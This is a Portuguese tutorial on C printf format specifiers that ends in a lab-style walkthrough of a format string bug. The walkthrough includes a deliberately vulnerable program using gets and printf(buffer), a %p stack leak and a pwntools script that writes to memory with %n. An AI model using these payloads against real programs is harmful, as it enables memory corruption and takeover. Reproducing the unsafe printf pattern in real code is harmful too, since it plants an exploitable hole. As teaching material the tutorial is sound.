Format String Bug

Printf

A função printf é uma função em C que permite a impressão de texto formatado. A função recebe como primeiro argumento uma string de formato que pode conter texto normal e 0 ou mais especificadores de formato, seguidos por uma lista de argumentos que devem ser formatos na string.

Desse modo, a função printf não sabe quantos argumentos irá receber, a função apenas espera que os argumentos que deverão ser formatados estejam nos endereços acima da string de formato na pilha de execução.

Pilha da função printf - 32 bits

Format String

Os especificadores de formatos são opcionais e seguem a seguinte sintaxe:

%[sinalizadores][largura][.precisão][tamanho]tipo

A especificação de tipo é o único campo obrigatório e determina como o argumento deve ser interpretado. A especificação de tamanho indica a largura mínima de saída e a precisão para a formatação dos valores. Os demais campos (sinalizadors, largura e precisão) servem para formatar a saída, controlando espaços à esquerda ou zeros, justificação e precisão exibida.

Especificação de tipo

O campo de especificação de tipo é o único campo obrigatório e aparece sempre depois dos demais campos. Ele especifica se o argumento deve ser interpretado como um caractere, uma cadeia de caracteres, um ponteiro, um inteiro ou um número de ponto flutuante.

Os argumentos que especificam caracteres são interpretados com base no caractere de tipo correspondente e o campo de tamanho opcional. Os tipos de caracteres char e wchar_t são especificados utilizando c ou C, enquanto as cadeias de caracteres são especificados utilizando s ou S. Argumentos de caractere e de cadeia de caracteres que são especificados com c ou s são interpretados como char e char* e os argumentos especificados com C ou S são interpretados como wchar_t e wchar_t*.

Tipos que especificam inteiros como short, long, long long, int e suas variações unsigned, são especificados utilizando d, i, o, u, x e X. Tipos de ponto flutuante como float, double e long double são especificados usando a, A, e, E, f, F, g e G. A menos que sejam por prefixo de tamanho, os argumentos inteiros são interpretados como int e argumentos de ponto flutuante como double. Tipos de ponteiro especificados por p usam o tamanho padrão de ponteiro para a plataforma.

Tipo
Argumento
Formato de Saída
Código
Output

%c

Caractere

Especifica um caractere em ASCII.

printf("%c %c %c %c", 'h', 97, 0x77, 0153);

h a w k

%C

Caractere

Especifica um caractere longo em ASCII.

printf("%C %C %C %C", L'h', 97, 0x77, 0153);

h a w k

%d, %i

Inteiro

Especifica um inteiro decimal com sinal

printf("%d %d %d %i", 'a', 10, 0xa, 012);

97 10 10 10

%u

Inteiro

Especifica um inteiro decimal sem sinal

printf("%u %u %u %u", 'a', 10, 0xa, 012);

97 10 10 10

%o

Inteiro

Especifica um inteiro octal sem sinal

printf("%o %o %o %o", 'a', 10, 0xa, 012);

141 12 12 12

%x

Inteiro

Especifica um inteiro hexadecimal sem sinal. Utiliza apenas caracteres minúsculos

printf("%x %x %x %x", 'h', 97, 0x77, 0153);

68 61 77 6b

%X

Inteiro

Especifica um inteiro hexadecimal sem sinal. Utiliza apenas caracteres maiúsculos

printf("%X %X %X %X", 'h', 97, 0x77, 0153);

68 61 77 6B

%f

Ponto Flutuante

Especifica um valor de ponto flutuante.

printf("%f", 25.52);

25.520000

%F

Ponto Flutuante

Idêntico ao formato %f, com a execeção de que representa saída infinite e NaN em letras maiúsculas.

printf("%F", INFINITY);

INF

%e

Ponto Flutuante

Especifica um valor de ponto flutuante em notação científica.

printf("%e", 25.52);

2.552000e+01

%E

Ponto Flutuante

Idêntico ao formato %e, com a execeção de que utiliza E ao invés de e no output.

printf("%E", 25.52);

2.552000E+01

%g

Ponto Flutuante

Especifica um valor de ponto flutuante com sinal no formato %f ou %e, escolhendo o que for mais compacto. Caso o expoente for menor que -4 ou maior ou igual a precisão especificada, será impresso no formato %e. Caso contrário, irá imprimir no formato %f.

printf("%g %g", 1.5, 2500000.52);

1.5 2.5e+06

%G

Ponto Flutuante

Idêntico ao formato %g, com a exceção que irá utilizar o formato %F ou %E

printf("%G %G", 1.5, 2500000.52);

1.5 2.5E+06

%a

Ponto Flutuante

Especifica um valor de ponto flutuante de precisão dupla com sinal em hexadecimal. Utiliza apenas caracteres minúsculos

printf ("%a", 5.2);

0x1.4cccccccccccdp+20

%A

Ponto Flutuante

Especifica um valor de ponto flutuante de precisão dupla com sinal em hexadecimal. Utiliza apenas caracteres maiúsculos

printf ("%A", 5.2);

0X1.4CCCCCCCCCCCDP+20

%n

Ponteiro para inteiro

Grava no endereço especificado como argumento a quantidade de caracteres impressos com êxito antes de chegar no %n.

printf ("...%n %d", &x, x); printf (" %d", x);

... 0 3

%p

Ponteiro

Especifica um endereço usando dígitos hexadecimais

printf ("%p", &x);

000000340edff9ac

%s

String

Especifica uma cadeia de caracteres. Os caracteres são exibidos até um caractere nulo ou até que seja atingido o valor de precisão informado.

printf ("%s", "HawkSec");

HawkSec

%S

String

Especifica uma cadeia de caracteres longos. Os caracteres são exibidos até um caractere nulo ou até que seja atingido o valor de precisão informado.

printf ("%S", L"HawkSec");

HawkSec

%Z

Estrutura ANSI_STRING ou UNICODE_STRING

Imprime o campo Buffer da estrutura. Normalmente utilizado em funções de depuração de driver que usam uma especificação de conversão, como dbgPrint e kdPrint.

Não foi possível gerar Exemplos para esse formato.

-

Especificação de Sinalizador

O campo de especificação de sinalizador é o primeiro campo opcional. Esse campo possui 0 ou mais caracteres de sinalizadores e formatam a saída, controlando a saída de sinais, espaços em branco, zeros à esquerda, pontos decimais e prefixos octais e hexadecimais.

Sinalizador
Significado
Padrão
Código
Output

-

Alinhar à esquerda na saída de texto dentro do campo de largura especificado.

Alinhar à direita.

printf(".%-3d.", 10);

.10 .

+

Mostrar o sinal, positivo ou negativo, para tipos com sinal.

Mostrar sinal apenas para números negativos.

printf("%+d %+d", 2, -2);

+2 -2

0

Adicionar 0 à esquerda até atingir a largura mínima. Se - estiver presente o sinalizador 0 será ignorado. Se tiver um campo de especificação de precisão em um formato inteiro (i, u, x, X, o, d), como %0.3.d, o sinalizador 0 será ignorado. Se 0 estiver presente nos tipos de ponto flutuante a ou A, os zeros à esquerda irão aparecer após a indicação de formato hexadecimal 0x ou 0X.

Nenhum Preenchimento

printf("%03d", 2);

002

#

Adicionar 0, 0x ou 0X quando usado com os tipos o, x, X.

Nenhum prefixo.

printf("%#x", 18);

0x12

Adicionar obrigatoriamente uma casa decimal ao valor de saída quando usado com os tipos e, E, f, F, a ou A.

O ponto decimal só será mostrado se houver números após ele.

printf ("%#f", 2.0);

2.000000

Adicionar obrigatoriamente uma casa decimal ao valor de saída quando usado com os tipos g ou G. Além disso, a especificação # evita o truncamento de zeros à direita.

O ponto decimal só será mostrado se houve números após ele e os zeros à direita são truncados.

printf("%#g", 2.1);

2.10000

Especificação de largura

O campo de especificação de largura é opcional e sempre aparece após quaisquer caracteres sinalizadores. Este campo é um número inteiro e não negativo que controla o número mínimo de caracteres de saída. Dessa forma se o número de caracteres no valor de saída for menor do que o número especificado, espaços em branco serão adicionados na esquerda ou direita do valor (dependendo do sinalizador -), e se o campo for prefixado por 0, zeros irão aparecer no lugar dos espaços em branco. Outra coisa interessante, é que o campo pode ser um *, e dessa forma o valor será o primeiro inteiro que for identificado nos parâmetros da printf.

É importante notar que caso o valor de saída seja maior que o número informado, ele não será truncado, e irá aparecer corretamente.

Largura
Código
Output

somente inteiro

printf("%5d", 3);

3

0 prefixado

printf("%05d", 3);

00003

*

printf("%0*d", 5, 3);

00003

Especificação da precisão

O campo de especificação de precisão é o terceiro campo opcional, e consiste de um . seguido de um inteiro não negativo, cujo resultado irá depender do tipo especificado. Ao contrário do campo de largura, o campo de precisão pode causar truncamento do valor de saída ou arredondamento de um valor de ponto flutuante. O caractere * também funciona no campo de precisão, e funciona da mesma forma.

Se a precisão for 0 e o valor a ser convertido for 0, nenhum caractere será impresso.

Tipo
Significado
Padrão
Código
Output

a,A

Indica o número de dígitos após a vírgula.

Por padrão é 13, e se for passado 0, nenhum caractere será impresso (a não ser que o sinalizador # esteja presente).

printf("%.2a", 10.1);

0x1.43p+3

c,C

Precisão não tem efeito.

Caractere é impresso.

printf("%.2c", 'f');

f

d,i,o,u,x,X

Indica o número a ser impresso, se for menor será preenchido com 0 a esquerda, e se for maior não será truncado.

Precisão padrão é 1.

printf("%.4d", 5);

0005

e,E

Indica o número de dígitos após a vírgula, o último será arredondado.

Por padrão é 6, e se a precisão for 0 ou nada aparecer após o ., não será impresso os pontos decimais.

printf("%.3e", 10.5);

1.050e+01

f,F

Indica o número de dígitos após a vírgula, o valor será arredondado.

Por padrão é 6, e se a precisão for 0 ou nada aparecer após o ., não será impresso os pontos decimais.

printf("%.1f", 10.49999999);

10.5

g,G

Indica o número máximo de dígitos significativos que serão impressos.

Seis dígitos significativos são impressos e os zeros à direita são truncados.

printf("%.1g", 10.49999999);

1e+01

s,S

Indica o número máximo de caracteres a serem impressos.

Os caracteres são impressos até que seja encontrado um caractere nulo.

printf("%.4s", "HawkSec");

Hawk

Format String Bug

O format string bug é extremamente perigoso e facilmente explorável. Esse exploit consiste basicamente em explorar printfs mal colocados (não informam o format string, por exemplo: printf(string);), sendo possível alterar valores arbitrariamente na memória.

Isso é possível por causa da forma como o printf funciona, que como visto, recebe somente o format string e espera que o resto esteja na pilha. Dessa forma quando não é informado o format string, o printf irá imprimir o que foi passado, mas se essa string contiver algum format string ele irá interpretar. Então sabendo que o printf pega os valores da pilha, um usuário pode simplesmente digitar %p %p %p... que o printf irá começar a imprimir os valores que estão na pilha.

Somente isso já o suficiente para ver que usar um printf sem o format string é perigoso, mas é possível ir além disso, pois existe um format string que escreve no ponteiro da posição em que ele está a quantidade de bytes já impressos, o %n, que por padrão está desativado no Windows. Com o uso do %n é possível localizar algum ponteiro na pilha (seja um já existente ou algum que você escreveu) e escrever um novo valor nesse ponteiro. Um exemplo seria imaginar que na posição 7 da pilha há um ponteiro que você deseja alterar o valor para 10, você pode simplesmente usar o seguinte input: %10x%7$n, esse input escreve 10 bytes e em seguida salva essa quantidade no ponteiro que está na posição 7 (essa formatação de $ está desativada no Windows).

Ainda é possível ir mais além, pois nem sempre o seu ponteiro irá estar na pilha, mas o input que você digita sim. Com isso é necessário identificar em que posição seu input começa a aparecer na pilha, e identificar qual é o seu ponteiro, e pronto, basta informar o ponteiro no input (tomando cuidado para ele ocupar um endereço completo, 32 bits difere de 64 bits) a quantidade que você deseja escrever nele e o %n, ficando dessa forma: ponteiro(endereço completo)%(quantidade - tamanho do endereço)x%(posição)$n. Isso permite que você possa até alterar endereços de funções (existem algumas que dão um jmp para a região onde ela está, e o jmp é por ponteiro).

OBSERVAÇÃO: É muito provável que você se depare com ponteiros que não ocupem um endereço completo, e nesses casos é necessário preencher eles com \x00, mas o printf para de interpretar quando lê um byte nulo. Para burlar isso é necessário trocar a ordem do input, fazendo com que a quantidade e o %n apareçam primeiro e depois o endereço, ficando dessa forma: %(quantidade)x%(posição)$n(ponteiro).

Exemplo

Para exemplificar como podemos abusar desse bug foi criado o seguinte código em c:

main.c
#include <stdio.h>

int y = 0;

void func () {
  char buffer[100];
  gets(buffer);
  printf(buffer);
  return;
}

int main() {
  func();
  printf("\n%d\n", y);
  if (y == 100) {
    printf("\nParabéns, você abusou do printf bug em um código desprovido de proteção.");
  }
  return 0;
}

Note que para facilitar a exemplificação foi utilizado uma variável global.

No código, podemos ver que o objetivo é fazer com que a variável global y tenha o valor de 100, também é possível observar que a função func() invoca o printf sem o format string. O primeiro passo então é identificar o nosso ponteiro, que no caso será o endereço da variável y, que é facilmente encontrado (é global, logo está na tabela de símbolos) usando o gdb com o seguinte comando: p &y

pwndbg> p &y
$1 = (<data variable, no debug info> *) 0x404024 <y>
pwndbg> p (int)y
$2 = 0

Achamos o nosso endereço 0x404024, mas como estamos usando um sistema 64 bit, é necessário converter esse endereço para 0x0000000000404024 (note que esse contém inúmeros bytes nulos). O segundo passo é encontrar onde o nosso input está na pilha (o programa foi compilado da seguinte maneira: gcc -no-pie teste.c -o main).

./main  
%p %p %p %p %p %p %p %p %p
0x17042a1 (nil) 0x7fbbe81cb8e0 0x17042bb (nil) 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025

Repare que os caracteres %p em ASCII são 25, 70 e 20 respectivamente, e podemos observar que eles começam a aparecer na posição 6 da pilha.

Com o endereço identificado e a posição na pilha encontrada, podemos escrever o script:

solve.py
from pwn import *

#Setando o processo.
elf = context.binary = ELF("./main")
p = process()

#Procurando a variável global que iremos alterar.
y = elf.sym['y']

#Montando payload.
payload = b"%100x%8$n|||||||" # Sempre múltiplo de 8 para não quebrar o endereço à seguir.
payload += p64(y)
print(payload)

#Sucesso.
print(p.clean().decode())
p.sendline(payload)
print(p.clean().decode())

Note que neste caso podemos simplesmente pedir para o próprio script encontrar o endereço de y, mas colocar ele manualmente ali também funcionaria.

Repare que cada caractere ocupa exatamente 1 byte e um endereço completo em 64 bits é 8 bytes, então como %100x%8$n ocupam 9 bytes, o endereço iria ficar quebrado se colocado após. Para impedir isso colocamos mais 7 caracteres (|) para fazer com que o endereço seja colocado sem quebrar na posição 8 (6 + 2).

Após a execução do código, obtemos o seguinte resultado:

b'%100x%8$n|||||||$@@\x00\x00\x00\x00\x00'

                                                                                             1e532a1|||||||$@@
100

Parabéns, você abusou do printf bug em um código desprovido de proteção.

Ir0nstone

Microsoft

Pico Cetef

Atualizado